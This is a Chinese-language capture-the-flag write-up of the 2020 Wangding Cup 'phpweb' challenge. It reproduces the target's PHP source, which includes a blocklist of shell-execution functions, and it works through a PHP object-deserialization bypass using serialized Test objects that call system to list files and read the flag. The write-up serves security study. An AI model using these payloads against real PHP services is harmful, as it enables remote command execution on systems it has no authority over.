[網鼎杯 2020 朱雀組]phpweb1
阿新 • • 發佈:2021-06-10
開啟環境: 題目是phpweb,感覺是一道程式碼審計題,看看如何搞到程式碼
看到有倆個傳參,隨手修改一下引數
發現報錯 call_user_func函式,聯想到了func和p引數,嘗試修改引數讀取原始碼,show_source & index.php
吆喝,被過濾了,有戲,換個函式再試試;
ok,拿到了index頁面程式碼,整理一下;
<?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>
發現漏洞點:class Test{} 利用 自定義gettime函式呼叫,call_user_func() 函式執行命令;
構造payload:O:4:”Test”:2:{s:1:”p”;s:2:”ls”;s:4:”func”;s:6:”system”;}
<?php class Test { var $p = "ls"; var $func = "system"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $a=new Test(); echo serialize($a);
得到payload:
O:4:”Test”:2:{s:1:”p”;s:2:”ls”;s:4:”func”;s:6:”system”;}
使用payload試試效果:
ok,正常執行命令了,那就找一下flag吧
payload:O:4:”Test”:2:{s:1:”p”;s:22:”cat /tmp/flagoefiu4r93″;s:4:”func”;s:6:”system”;}